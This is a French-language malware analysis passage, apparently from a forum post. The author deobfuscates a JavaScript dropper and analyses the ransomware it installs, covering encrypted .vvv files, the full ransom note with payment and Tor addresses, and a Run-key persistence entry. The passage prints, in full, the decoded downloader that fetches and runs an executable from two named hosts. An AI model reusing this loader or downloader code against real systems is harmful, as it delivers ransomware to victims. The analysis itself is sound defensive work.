function v(XTpzWEjIizqqdR,BmDaWcjkOribg,kuNmZJZSvzg) {XTpzWEjIizqqdR[BmDaWcjkOribg]=kuNmZJZSvzg;}
W = new Array();W[0]=new Array();W[0][0]=[];W[0][0][0]=’d’;[…];W[0][5][1391]=’a’;var jjeOH=[W[0][0],W[0][1],W[0][2],W[0][3],W[0][4],W[0][5]];
var gzpIjFoim=[];function etRmloiyyyNaEPAdn(jjeOH){SjWPzBmuqrq= ”;HjpNdWOAcdY=Math.round((Math.pow(Math.sin(421), 2) + Math.pow(Math.cos(421), 2) – 1));while(true){if (HjpNdWOAcdY >= (4764+690)/909){break;}gzpIjFoim[HjpNdWOAcdY]=Math.round((Math.pow(Math.sin(512), 2) + Math.pow(Math.cos(512), 2) – 1)); while(true) { if(gzpIjFoim[HjpNdWOAcdY] > jjeOH[HjpNdWOAcdY].length-(193+247)/440) { break; } if (owBSdyJ(fNwgv(jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]],(26572+504)/967,(8818+912)/973))) {SjWPzBmuqrq += mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE([jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]]], Math.round((Math.pow(Math.sin(112), 2) + Math.pow(Math.cos(112), 2) – 1)));} gzpIjFoim[HjpNdWOAcdY]++;}HjpNdWOAcdY++;} return SjWPzBmuqrq}
var SebpfLrVCExNKMAmQcTrMQllORGDqcdzF = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;var uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;PswFEBrBcfpSpnX(etRmloiyyyNaEPAdn(jjeOH),
SebpfLrVCExNKMAmQcTrMQllORGDqcdzF,uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD);[/code]

On voit que c’est un fichier [b]JS obfuscé[/b]. On peut le rendre un peu plus lisible à l’aide d’un site comme http://jsbeautifier.org/,

[code]qGjOBZec = [0x4, 0x8, 0xb, 0x11, 0x16, 0x1c, 0x1f, 0x27, 0x2c, 0x2f, 0x35, 0x3a, 0x3d, 0x45, 0x46, 0x4e, 0x50, 0x57, 0x5d, 0x5f, 0x68, 0x6d, 0x70, 0x74, 0x7a, 0x81, 0x83, 0x89, 0x8c, 0x95, 0x98, 0x9d, 0xa4, 0xa6, 0xad, 0xb1, 0xb4, 0xba, 0xbf, 0xc5, 0xc9, 0xcf, 0xd5, 0xd9, 0xdf, 0xe3, 0xea, 0xed, 0xf0, 0xf7, 0xfc, 0x100, 0x104, 0x10c, 0x10e, 0x115, 0x118, 0x11e, 0x125, 0x12a, 0x12f, 0x131, 0x139, 0x13e, 0x141, 0x147, 0x14e, 0x153, 0x158, 0x15b, 0x15e, 0x166, 0x16c, 0x16e, 0x172, 0x179, 0x17f, 0x181, 0x187, 0x18c, 0x193, 0x198, 0x19a, 0x1a0, 0x1a8, 0x1ad, 0x1af, 0x1b3, 0x1bb, 0x1be, 0x1c2, 0x1cb, 0x1cc, 0x1d1, 0x1d8, 0x1de, 0x1e4, 0x1e8, 0x1eb, 0x1ef, 0x1f7, 0x1fc, 0x200, 0x204, 0x208, 0x211, 0x216, 0x21b, 0x21d, 0x224, 0x226, 0x22f, 0x231, 0x235, 0x23c, 0x240, 0x247, 0x24c, 0x24f, 0x256, 0x258, 0x260, 0x266, 0x26a, 0x26f, 0x274, 0x278, 0x27d];
seMgUoF = [‘=’, ‘H’, ‘D’, ‘-‘, ‘G’, ‘-‘, ‘B’, ‘8’, ‘E’, ‘9’, ‘z’, ‘%’, ‘W’, ‘)’, ‘C’, ‘s’, ‘I’, ‘>’, ‘r’, ‘h’, ‘o’, ‘t’, ‘^’, ‘ ‘, ‘h’, ‘Y’, ‘.’, ‘a’, ‘”‘, ‘:’, ‘e’, ‘g’, ‘/’, ‘p’, ‘6’, ‘X’, ‘V’, ‘n’, ‘Q’, ‘J’, ‘i’, ‘O’, ‘5’, ‘(‘, ‘<', 'S', 'n', '?', '%', '3', '6', '8', 'M', String.fromCharCode(10), 'L', '{', 'Z', '!', ' ', 'y', '$', ']', 'Y', '{', '@', 'd', 'j', '3', 'R', String.fromCharCode(13), '0', ')', 'o', 'K', '9', 'F', 'o', '/', '?', 'L', '#', 'u', 'T', '%', 'w', 'h', 'O', 'Y', 'i', '@', '&', 'G', '#', 'S', '’, ‘!’, ‘H’, ‘W’, ‘>’, ‘#’, ‘J’, ‘8’, ‘i’, ‘7’, ‘?’, ‘6’, ‘S’, ‘t’, ‘[‘, ‘h’, ‘P’, ‘=’, ‘u’, ‘G’, ‘F’, ‘^’, ‘,’, ‘]’, ‘D’, ‘h’, ‘#’, ‘)’, ‘s’, ‘G’, ‘m’, ‘P’, ‘.’, ‘f’, ‘V’, ‘v’, ‘D’, ‘W’, ‘2’, ‘Z’, ‘T’, ‘o’, ‘ ‘, ‘p’, ‘!’, ‘$’, ‘8’, ‘l’, ‘;’, ‘R’, ‘/’, ‘”‘, ‘`’, ‘=’, ‘M’, ‘#’, ‘{‘, ‘S’, ‘$’, ‘F’, ‘=’, ‘r’, ‘x’, ‘H’, ‘%’, ‘4’, ‘n’, ‘#’, ‘P’, ‘&’, ‘A’, ‘<', '6', 'Z', 'J', String.fromCharCode(39), '(', '=', ' ', '(', 'Y', '6', 'q', 'L', 'X', ')', 'I', 'D', 'L', '’, ‘3’, ‘G’, ‘A’, ‘<', '4', 'J', 'w', '3', 'W', '#', 'y', 'j', '5', '2', '6', 'z', 'D', 'D', 'g', 'n', 'w', '7', 'e', '.', '8', 'V', '.', 'm', 'a', '^', '9', 'u', 'M', 'E', 'm', 'y', '{', ':', 'o', '#', 'H', 's', ';', 'a', 'G', '(', 'Q', '’, ‘F’, ‘O’, ‘w’, ‘P’, ‘?’, ‘l’, ‘L’, ‘@’, ‘h’, ‘%’, ‘/’, ‘r’, ‘”‘, ‘A’, ‘x’, ‘r’, ‘I’, ‘ ‘, ‘F’, ‘O’, ‘B’, ‘n’, ‘S’, ‘/’, ‘(‘, ‘C’, ‘?’, ‘n’, ‘F’, ‘>’, ‘D’, ‘2’, ‘{‘, ‘E’, ‘K’, ‘6’, ‘F’, ‘_’, ‘h’, ‘H’, ‘O’, ‘F’, ‘k’, ‘_’, ‘G’, ‘v’, ‘e’, ‘F’, ‘a’, ‘]’, ‘H’, ‘*’, ‘I’, ‘a’, ‘2’, ‘K’, ‘J’, ‘_’, ‘w’, ‘p’, ‘(‘, ‘+’, ‘6’, ‘K’, ‘o’, ‘{‘, ‘?’, ‘4’, ‘P’, ‘L’, ‘d’, ‘M’, ‘P’, ‘k’, ‘H’, ‘7’, ‘n’, ‘N’, ‘!’, ‘7’, ‘N’, ‘M’, ‘O’, ‘1’, ‘O’, ‘B’, ‘;’, ‘.’, ‘2’, ‘P’, ‘z’, ”, ‘S’, ‘r’, ‘%’, ‘/’, ‘i’, ‘K’, ‘T’, ‘@’, ‘T’, ‘_’, ‘N’, ‘C’, ‘9’, ‘U’, ‘w’, ‘V’, ‘R’, ‘k’, ‘i’, ‘W’, ‘h’, ‘(‘, ‘x’, ‘d’, ‘V’, ‘”‘, ‘2’, ‘X’, ‘5’, ‘8’, ‘Y’, ‘d’, ‘y’, ‘C’, ‘Z’, ‘w’, ‘O’, ‘N’, ‘b’, ‘^’, ‘^’, ‘q’, ‘+’, ‘[‘, String.fromCharCode(92), ‘Y’, ‘L’, ‘D’, ‘4’, ‘]’, ‘j’, ‘+’, ‘e’, ‘p’, ‘$’, ‘g’, ‘^’, ‘%’, ‘_’, ‘4’, ‘e’, ‘J’, ‘_’, ‘N’, ‘7’, ‘z’, ‘/’, ‘{‘, ‘`’, ‘s’, ‘>’, ‘J’, ‘a’, ‘R’, ‘4’, ‘b’, ‘M’, ‘9’, ‘Z’, ‘c’, ‘y’, ‘s’, ‘%’, ‘N’, ‘A’, ‘F’, ‘X’, ‘d’, ‘L’, ‘E’, ‘m’, ‘0’, ‘e’, ‘S’, ‘Y’, ‘!’, ‘f’, ‘$’, ‘:’, ‘J’, ‘g’, ‘x’, ‘]’, ‘i’, ‘h’, ‘m’, ‘w’, ‘ ‘, ‘]’, ‘X’, ‘R’, ‘m’, ‘e’, ‘i’, ‘V’, ‘]’, ‘D’, ‘{‘, ‘j’, ‘g’, ‘`’, ‘)’, ‘l’, ‘k’, ‘[‘, ‘l’, ‘{‘, ‘!’, ”, ‘(‘, ‘h’, ‘z’, ‘8’, ‘0’, ‘I’, ‘.’, ‘f’, ‘”‘];

function X(LkEObFdAojiX, nNYCtVfxgyPFrP) {
LkEObFdAojiX.push(nNYCtVfxgyPFrP);
}

function fNwgv(PkTwMvAGDBu, ZfCTIykaLxKsZ, uwuCBUdT) {
AXxZ = OADGgMDOZDXPACpsg(PkTwMvAGDBu, ZfCTIykaLxKsZ);
aiMhp = AXxZ.toString(uwuCBUdT);
return aiMhp;
}

function PswFEBrBcfpSpnX(RLyLZfjWZTXEWwnlh, YcrfSdCfrHuwvXMAdKpVlCOMwvshbyNITB, ErWwlPumUeNNevQnFXTmmoMaHCbuZCvOoun) {
eval(RLyLZfjWZTXEWwnlh);
}

function mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE(NCdwKhnkSmTKZ, SNYkBvrHSWqvpB) {
return seMgUoF[qGjOBZec[fNwgv(NCdwKhnkSmTKZ[SNYkBvrHSWqvpB], (16369 + 39) / 586, (1518 + 932) / 245)]];
}

function owBSdyJ(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa) {
return !AWOhLTHpjYC(YndDdAIKxqtAfLk(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa)) && eFwLixJjagVm(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa);
}

function AWOhLTHpjYC(SwDqmwTCIUVEug) {
return isNaN(SwDqmwTCIUVEug);
}

function eFwLixJjagVm(VzesqKjqDRtPu) {
return isFinite(VzesqKjqDRtPu);
}

function OADGgMDOZDXPACpsg(ASfxNmskPV, GnQUANeZWr) {
return parseInt(ASfxNmskPV, GnQUANeZWr);
}

function YndDdAIKxqtAfLk(jUimLHMJxQascjwdNxh) {
return parseFloat(jUimLHMJxQascjwdNxh);
}

function v(XTpzWEjIizqqdR, BmDaWcjkOribg, kuNmZJZSvzg) {
XTpzWEjIizqqdR[BmDaWcjkOribg] = kuNmZJZSvzg;
}
W = new Array();
W[0] = new Array();
W[0][0] = [];
W[0][0][0] = ‘d’;
[…]
W[0][5][1391] = ‘a’;
var jjeOH = [W[0][0], W[0][1], W[0][2], W[0][3], W[0][4], W[0][5]];
var gzpIjFoim = [];

function etRmloiyyyNaEPAdn(jjeOH) {
SjWPzBmuqrq = ”;
HjpNdWOAcdY = Math.round((Math.pow(Math.sin(421), 2) + Math.pow(Math.cos(421), 2) – 1));
while (true) {
if (HjpNdWOAcdY >= (4764 + 690) / 909) {
break;
}
gzpIjFoim[HjpNdWOAcdY] = Math.round((Math.pow(Math.sin(512), 2) + Math.pow(Math.cos(512), 2) – 1));
while (true) {
if (gzpIjFoim[HjpNdWOAcdY] > jjeOH[HjpNdWOAcdY].length – (193 + 247) / 440) {
break;
}
if (owBSdyJ(fNwgv(jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]], (26572 + 504) / 967, (8818 + 912) / 973))) {
SjWPzBmuqrq += mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE([jjeOH[HjpNdWOAcdY][gzpIjFoim[HjpNdWOAcdY]]], Math.round((Math.pow(Math.sin(112), 2) + Math.pow(Math.cos(112), 2) – 1)));
}
gzpIjFoim[HjpNdWOAcdY]++;
}
HjpNdWOAcdY++;
}
return SjWPzBmuqrq
}
var SebpfLrVCExNKMAmQcTrMQllORGDqcdzF = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;
var uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;
PswFEBrBcfpSpnX(etRmloiyyyNaEPAdn(jjeOH), SebpfLrVCExNKMAmQcTrMQllORGDqcdzF, uFSyvlImOpHXgMhaWvlKCqHcsIcKwOCD);[/code]

Ce qui reste assez illisible. Je renomme les variables, fonctions, arguments, on retire les petites astuces du genre : [quote]var = sin²(x) + cos²(x) – 1[/quote]

[code]bigVar1 = [0x4, 0x8, 0xb, 0x11, 0x16, 0x1c, 0x1f, 0x27, 0x2c, 0x2f, 0x35, 0x3a, 0x3d, 0x45, 0x46, 0x4e, 0x50, 0x57, 0x5d, 0x5f, 0x68, 0x6d, 0x70, 0x74, 0x7a, 0x81, 0x83, 0x89, 0x8c, 0x95, 0x98, 0x9d, 0xa4, 0xa6, 0xad, 0xb1, 0xb4, 0xba, 0xbf, 0xc5, 0xc9, 0xcf, 0xd5, 0xd9, 0xdf, 0xe3, 0xea, 0xed, 0xf0, 0xf7, 0xfc, 0x100, 0x104, 0x10c, 0x10e, 0x115, 0x118, 0x11e, 0x125, 0x12a, 0x12f, 0x131, 0x139, 0x13e, 0x141, 0x147, 0x14e, 0x153, 0x158, 0x15b, 0x15e, 0x166, 0x16c, 0x16e, 0x172, 0x179, 0x17f, 0x181, 0x187, 0x18c, 0x193, 0x198, 0x19a, 0x1a0, 0x1a8, 0x1ad, 0x1af, 0x1b3, 0x1bb, 0x1be, 0x1c2, 0x1cb, 0x1cc, 0x1d1, 0x1d8, 0x1de, 0x1e4, 0x1e8, 0x1eb, 0x1ef, 0x1f7, 0x1fc, 0x200, 0x204, 0x208, 0x211, 0x216, 0x21b, 0x21d, 0x224, 0x226, 0x22f, 0x231, 0x235, 0x23c, 0x240, 0x247, 0x24c, 0x24f, 0x256, 0x258, 0x260, 0x266, 0x26a, 0x26f, 0x274, 0x278, 0x27d];
bigVar2 = [‘=’, ‘H’, ‘D’, ‘-‘, ‘G’, ‘-‘, ‘B’, ‘8’, ‘E’, ‘9’, ‘z’, ‘%’, ‘W’, ‘)’, ‘C’, ‘s’, ‘I’, ‘>’, ‘r’, ‘h’, ‘o’, ‘t’, ‘^’, ‘ ‘, ‘h’, ‘Y’, ‘.’, ‘a’, ‘”‘, ‘:’, ‘e’, ‘g’, ‘/’, ‘p’, ‘6’, ‘X’, ‘V’, ‘n’, ‘Q’, ‘J’, ‘i’, ‘O’, ‘5’, ‘(‘, ‘<', 'S', 'n', '?', '%', '3', '6', '8', 'M', String.fromCharCode(10), 'L', '{', 'Z', '!', ' ', 'y', '$', ']', 'Y', '{', '@', 'd', 'j', '3', 'R', String.fromCharCode(13), '0', ')', 'o', 'K', '9', 'F', 'o', '/', '?', 'L', '#', 'u', 'T', '%', 'w', 'h', 'O', 'Y', 'i', '@', '&', 'G', '#', 'S', '’, ‘!’, ‘H’, ‘W’, ‘>’, ‘#’, ‘J’, ‘8’, ‘i’, ‘7’, ‘?’, ‘6’, ‘S’, ‘t’, ‘[‘, ‘h’, ‘P’, ‘=’, ‘u’, ‘G’, ‘F’, ‘^’, ‘,’, ‘]’, ‘D’, ‘h’, ‘#’, ‘)’, ‘s’, ‘G’, ‘m’, ‘P’, ‘.’, ‘f’, ‘V’, ‘v’, ‘D’, ‘W’, ‘2’, ‘Z’, ‘T’, ‘o’, ‘ ‘, ‘p’, ‘!’, ‘$’, ‘8’, ‘l’, ‘;’, ‘R’, ‘/’, ‘”‘, ‘`’, ‘=’, ‘M’, ‘#’, ‘{‘, ‘S’, ‘$’, ‘F’, ‘=’, ‘r’, ‘x’, ‘H’, ‘%’, ‘4’, ‘n’, ‘#’, ‘P’, ‘&’, ‘A’, ‘<', '6', 'Z', 'J', String.fromCharCode(39), '(', '=', ' ', '(', 'Y', '6', 'q', 'L', 'X', ')', 'I', 'D', 'L', '’, ‘3’, ‘G’, ‘A’, ‘<', '4', 'J', 'w', '3', 'W', '#', 'y', 'j', '5', '2', '6', 'z', 'D', 'D', 'g', 'n', 'w', '7', 'e', '.', '8', 'V', '.', 'm', 'a', '^', '9', 'u', 'M', 'E', 'm', 'y', '{', ':', 'o', '#', 'H', 's', ';', 'a', 'G', '(', 'Q', '’, ‘F’, ‘O’, ‘w’, ‘P’, ‘?’, ‘l’, ‘L’, ‘@’, ‘h’, ‘%’, ‘/’, ‘r’, ‘”‘, ‘A’, ‘x’, ‘r’, ‘I’, ‘ ‘, ‘F’, ‘O’, ‘B’, ‘n’, ‘S’, ‘/’, ‘(‘, ‘C’, ‘?’, ‘n’, ‘F’, ‘>’, ‘D’, ‘2’, ‘{‘, ‘E’, ‘K’, ‘6’, ‘F’, ‘_’, ‘h’, ‘H’, ‘O’, ‘F’, ‘k’, ‘_’, ‘G’, ‘v’, ‘e’, ‘F’, ‘a’, ‘]’, ‘H’, ‘*’, ‘I’, ‘a’, ‘2’, ‘K’, ‘J’, ‘_’, ‘w’, ‘p’, ‘(‘, ‘+’, ‘6’, ‘K’, ‘o’, ‘{‘, ‘?’, ‘4’, ‘P’, ‘L’, ‘d’, ‘M’, ‘P’, ‘k’, ‘H’, ‘7’, ‘n’, ‘N’, ‘!’, ‘7’, ‘N’, ‘M’, ‘O’, ‘1’, ‘O’, ‘B’, ‘;’, ‘.’, ‘2’, ‘P’, ‘z’, ”, ‘S’, ‘r’, ‘%’, ‘/’, ‘i’, ‘K’, ‘T’, ‘@’, ‘T’, ‘_’, ‘N’, ‘C’, ‘9’, ‘U’, ‘w’, ‘V’, ‘R’, ‘k’, ‘i’, ‘W’, ‘h’, ‘(‘, ‘x’, ‘d’, ‘V’, ‘”‘, ‘2’, ‘X’, ‘5’, ‘8’, ‘Y’, ‘d’, ‘y’, ‘C’, ‘Z’, ‘w’, ‘O’, ‘N’, ‘b’, ‘^’, ‘^’, ‘q’, ‘+’, ‘[‘, String.fromCharCode(92), ‘Y’, ‘L’, ‘D’, ‘4’, ‘]’, ‘j’, ‘+’, ‘e’, ‘p’, ‘$’, ‘g’, ‘^’, ‘%’, ‘_’, ‘4’, ‘e’, ‘J’, ‘_’, ‘N’, ‘7’, ‘z’, ‘/’, ‘{‘, ‘`’, ‘s’, ‘>’, ‘J’, ‘a’, ‘R’, ‘4’, ‘b’, ‘M’, ‘9’, ‘Z’, ‘c’, ‘y’, ‘s’, ‘%’, ‘N’, ‘A’, ‘F’, ‘X’, ‘d’, ‘L’, ‘E’, ‘m’, ‘0’, ‘e’, ‘S’, ‘Y’, ‘!’, ‘f’, ‘$’, ‘:’, ‘J’, ‘g’, ‘x’, ‘]’, ‘i’, ‘h’, ‘m’, ‘w’, ‘ ‘, ‘]’, ‘X’, ‘R’, ‘m’, ‘e’, ‘i’, ‘V’, ‘]’, ‘D’, ‘{‘, ‘j’, ‘g’, ‘`’, ‘)’, ‘l’, ‘k’, ‘[‘, ‘l’, ‘{‘, ‘!’, ”, ‘(‘, ‘h’, ‘z’, ‘8’, ‘0’, ‘I’, ‘.’, ‘f’, ‘”‘];

W = new Array();
W[0] = new Array();
W[0][0] = [];
W[0][0][0] = ‘d’;
[…]
W[0][5][1391] = ‘a’;
var bigVar3 = [W[0][0], W[0][1], W[0][2], W[0][3], W[0][4], W[0][5]];
var bigTable1 = [];

function X(arg1, arg2) {
arg1.push(arg2);
}

function function2(arg1, arg2, arg3) {
var1 = function8(arg1, arg2);
var2 = var1.toString(arg3);
return var2;
}

function function4(arg1, arg2) {
return bigVar2[bigVar1[function2(arg1[arg2], 28, 10)]];
}

function function5(arg1) {
return !function6(function9(arg1)) && function7(arg1);
}

function function6(arg1) {
return isNaN(arg1);
}

function function7(arg1) {
return isFinite(arg1);
}

function function8(arg1, arg2) {
return parseInt(arg1, arg2);
}

function function9(arg1) {
return parseFloat(arg1);
}

function v(arg1, arg2, ar3) {
arg1[arg2] = arg3;
}

function function10(bigVar3) {
var1 = ”;
var2 = 0;
while (true) {
if (var2 >= 6) {
break;
}
bigTable1[var2] = 0;
while (true) {
if (bigTable1[var2] > bigVar3[var2].length – 1) {
break;
}
if (function5(function2(bigVar3[var2][bigTable1[var2]], 28, 10))) {
var1 += function4([bigVar3[var2][bigTable1[var2]]], 0);
}
bigTable1[var2]++;
}
var2++;
}
return var1
}
var strangeVar1 = ‘pfVHLoigzkAJhZwSZARdpRxZVCABZrehZfwG’;
var strangeVar2 = ‘YTCqcERBxPFHfDzVRhKlJZHRObuqiBSbyTOt’;
eval(function10(bigVar3), strangeVar1, strangeVar2);[/code]

Sans aller jusque là, on repère vite qu’une fonction ne fait qu’exécuter un [b]eval[/b] à la fin du résultat de ce qu’on a appelé [i]function10(bigVar3)[/i]. Si l’on souhaite savoir ce que va faire ce script il faut donc obtenir le résultat que renvoie cette fonction. On l’exécute et on récupère,

[code]function oEOfgFurS(LSYwcFUbFrr) {
var mAqYEipo = WScript.CreateObject(“Wscript.Shell”);
mAqYEipo.Run(LSYwcFUbFrr, 0x1, 0x0);
}
var v = “areyouwevenlisten.com/73.exe? beatifulgdf9dr.com/73.exe? ? ? ?”.split(” “);
var EBZ = ((1 /*oUtU514256596n983223uM354193eOiZ*/ ) ? “WScri” : “”) + “pt.Shell”;
var zD = WScript.CreateObject(EBZ);
var ZM = “%TEMP%\\”;
var Cnp = zD.ExpandEnvironmentStrings(ZM);
var dxv = new ActiveXObject(“Scripting” /*phxgBO6Fcfn*/ + “.File” + /*sWIJfsQ*/ “SystemObject”);
var oPIO = Cnp + “LdeKIdB\\”;
try {
dxv.CreateFolder(oPIO);
} catch (fCsMQo) {
};
var CCm = “2.XMLH”;
var Qnz = CCm + “TTP”;
var CA = true,
DdpT = “ADOD”;
var KZ = WScript.CreateObject(“MS” + “XML” + (976907, Qnz));
var KFb = WScript.CreateObject(DdpT + “B.St” + (99169, “ream”));
var WIx = 0;
var D = 1;
var tkSExIi = 758253;
for (var h = WIx; h 267308 – 851) {
kY = 1;
KFb.position = 0;
KFb.saveToFile /*ZlZW31OWTS*/ (oPIO /*rdm290OsZH*/ + tkSExIi + “.exe”, 4 – 2);
try {
if (((new Date()) > 0, 7404761888)) {
oEOfgFurS(oPIO + tkSExIi + /*mwtj32jzQD*/ “.exe” /*upm793Gskp*/ );
break;
}
} catch (TJ) {
};
};
KFb.close();
};
if (kY == 1) {
WIx = h;
break;
};
} catch (TJ) {
};
};[/code]

Voilà un nouveau script à analyser, on rend ça lisible et on commente,

[code]function function1(arg1) {
var var1 = WScript.CreateObject(“Wscript.Shell”);
var1.Run(arg1, 0x1, 0x0);
}

var v = “areyouwevenlisten.com/73.exe? beatifulgdf9dr.com/73.exe? ? ? ?”.split(” “); /* “areyouwevenlisten.com/73.exe?,beatifulgdf9dr.com/73.exe?,?,?,?” */
var EBZ = “WScript.Shell”;
var zD = WScript.CreateObject(EBZ);
var ZM = “%TEMP%\\”;
var Cnp = zD.ExpandEnvironmentStrings(ZM);
var dxv = new ActiveXObject(“Scripting.FileSystemObject”);
var oPIO = Cnp + “LdeKIdB\\”;

try {
dxv.CreateFolder(oPIO); /* On tente de créer le dossier %TEMP%\LdeKIdB\ */
} catch (fCsMQo) {};

var KZ = WScript.CreateObject(“MSXML2.XMLHTTP”);
var KFb = WScript.CreateObject(“ADODB.Stream”);
var WIx = 0;
for (var h = WIx; h < v.length; h++) {
var kY = 0;
try {
KZ.open("GET", "hxxp://" + v[h] + 1, false);
/* Ouverture de :
hxxp://areyouwevenlisten.com/73.exe?1
hxxp://beatifulgdf9dr.com/73.exe?1 266457) { /* Le fichier fait 385024 */
kY = 1; /* Fin de la boucle */
KFb.position = 0;
KFb.saveToFile(oPIO + 758253 + “.exe”, 2); // Crée le fichier %TEMP%LdeKIdB\758253.exe
try {
if (((new Date()) > 0, 7404761888)) {
function1(oPIO + 758253 + “.exe”); // La fonction execute le fichier %TEMP%LdeKIdB\758253.exe
break;
}
} catch (TJ) {};
};
KFb.close();
};
if (kY == 1) {
WIx = h;
break;
};
} catch (TJ) {};
};[/code]

On voit que le but de ce script est de télécharger, enregistrer et exécuter un fichier sur le PC de la victime.

Taux de détection du JS d’origine : https://www.virustotal.com/fr/file/f3cb6d6f4b88d7a1983cf87186e67c62905abb5a0f729b1d3661069d662f0102/analysis/1450391381/

Analyse du PE

Le taux de détection était vraiment mauvais à la première analyse : https://www.virustotal.com/fr/file/adddad99c31d16f949a388714f3cd40edfaf9473567d1e6045dccb96a99e19c1/analysis/. Maintenant c’est correct.

PEiD et StudPE ne trouvent pas de signature caractéristique. Le fichier ne semble pas packé. Avec Ressource Hacker on peut sortir une petite structure dans laquelle on va remarquer à la vue un [i]PNG[/i] et un [i]IHDR[/i], je n’ai pas extrait l’image (en fait j’ai pas trouvé le IEND ^^). On remarque également des boites de dialogues stockées dans les ressources. Dans les strings mis à part des messages de debug assez sales on ne trouve pas grand chose.

Le malware prend parfaitement bien en VM. Je vais utiliser trois outils pour l’analyse : [b]Process Monitor[/b], [b]Wireshark[/b] et [b]Regshot[/b].

Avant d’utiliser ces outils, à l’exécution on remarque que rapidement, tous les fichiers .txt, .png, .html, .zip, etc, ont une nouvelle extension .vvv. Le contenu est chiffré, les fichiers ont une en-tête commune :

[code]…..ï\8»èšïcÊdrµA.æ‘›™õ_Çß¿¶«_ˆ.s—™û.V^#vk׎ætF˜r¾.=d€ºÜ4º.›…Û©UÐ.R‡21809A75C525AC3BD5995D5504F31172835B136816253C058
E275A9468B9FA6D660F368A12F46D4EEF8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30… ºÂ€-ô.唲..‘sJe‰¡ùI.°.în.^Â=.£Ä‚J>|.lv”$.(½ùLªè².’jUÞJ Œ$VÓIS.³3383485A2C60621CDE639A2FEF2BF7AC82AD4CA31EDA73064CC2566908DD9A7C6CD2A25CA38B
DD229240B4F314B489CC379DD273C3A84CE4CA4A7F89F3E3A920..’Q.¿1.i&.x—+˜}öŸ[/code]

On peut donc supposer que la même clé de chiffrement est utilisée pour tous les fichiers. On voit par ailleurs deux séquences de 128 caractères hexadécimaux se répéter :
[code]3383485A2C60621CDE639A2FEF2BF7AC82AD4CA31EDA73064CC2566908DD9A7C6CD2A25CA38BDD229240B
4F314B489CC379DD273C3A84CE4CA4A7F89F3E3A920
21809A75C525AC3BD5995D5504F31172835B136816253C058E275A9468B9FA6D660F368A12F46D4EEF
8A8E76D5FD5AA8AF8894B069C3923EA398414B6CB91B30[/code]

Le programme met des [i]Howto_Restore_FILES.TXT[/i] partout, il en affiche un à la fin du processus, il affiche également une image avec les mêmes instructions, et une page web qui explique que RSA-4096 a été utilisé, qu’il faut se rendre sur une des [i]pages personnelles[/i] que l’on a crée spécialement pour nous, au cas où il y a également une page en service caché [i]Tor[/i].

[code] __!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__!@#!@#!__
!@#!@#!__!@#!@#!

NOT YOUR LANGUAGE? USE hxxps://translate.google.com

What happened to your files ?
All of your files were protected by a strong encryption with RSA-4096.
More information about the encryption keys using RSA-4096 can be found here: hxxp://en.wikipedia.org/wiki/RSA_(cryptosystem)

How did this happen ?
!!! Specially for your PC was generated personal RSA-4096 KEY, both public and private.
!!! ALL YOUR FILES were encrypted with the public key, which has been transferred to your computer via the Internet.
Decrypting of your files is only possible with the help of the private key and decrypt program, which is on our secret server.

What do I do ?
So, there are two ways you can choose: wait for a miracle and get your price doubled, or start obtaining BTC NOW, and restore your data easy way.
If You have really valuable data, you better not waste your time, because there is no other way to get your files, except make a payment.

For more specific instructions, please visit your personal home page, there are a few different addresses pointing to your page below:
1. hxxp://jf73ndna34df.ceorldess.com/4D5492355C95A030
2. hxxp://gecndhstrnsdf.gpay4it.com/4D5492355C95A030
3. hxxp://hrdsjrnvskdjnt.pay4softrn.com/4D5492355C95A030
4. hxxps://t7r67vsrpjcm5dfc.onion.to/4D5492355C95A030
5. hxxps://t7r67vsrpjcm5dfc.tor2web.org/4D5492355C95A030
6. hxxps://t7r67vsrpjcm5dfc.onion.cab/4D5492355C95A030

If for some reasons the addresses are not available, follow these steps:
1. Download and install tor-browser: hxxp://www.torproject.org/projects/torbrowser.html.en
2. After a successful installation, run the browser and wait for initialization.
3. Type in the address bar: t7r67vsrpjcm5dfc.onion/4D5492355C95A030
4. Follow the instructions on the site.

========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========
!!!!!========!!!!!========!!!!!
!!! IMPORTANT INFORMATION:
!!! Your personal pages:
hxxp://jf73ndna34df.ceorldess.com/4D5492355C95A030
hxxp://gecndhstrnsdf.gpay4it.com/4D5492355C95A030
hxxp://hrdsjrnvskdjnt.pay4softrn.com/4D5492355C95A030
hxxps://t7r67vsrpjcm5dfc.onion.to/4D5492355C95A030
!!! Your personal TOR-Browser page: t7r67vsrpjcm5dfc.onion/4D5492355C95A030
!!! Your personal identification ID (if you open the site directly): 4D5492355C95A030
========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========!!!!!========
!!!!!========!!!!!========!!!!!
[/code]

Registre

RegShot est un outil permettant de visualiser les différences dans le registre Windows entre deux moments. Pour cela il effectue deux instantanées du registre, un avant l’exécution du malware, et un après, il compare les deux à la fin pour afficher les modifications survenues.

[code]HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\Microsoft\Windows\CurrentVersion\Run\santa_svc: “C:\Documents and Settings\%username%\Application Data\qjgemacroic.exe”[/code]
J’aime beaucoup le nom de la valeur 😀

[code]HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\4D5492355C95A030
HKU\S-1-5-21-1993962763-764733703-1957994488-1004\Software\zsys
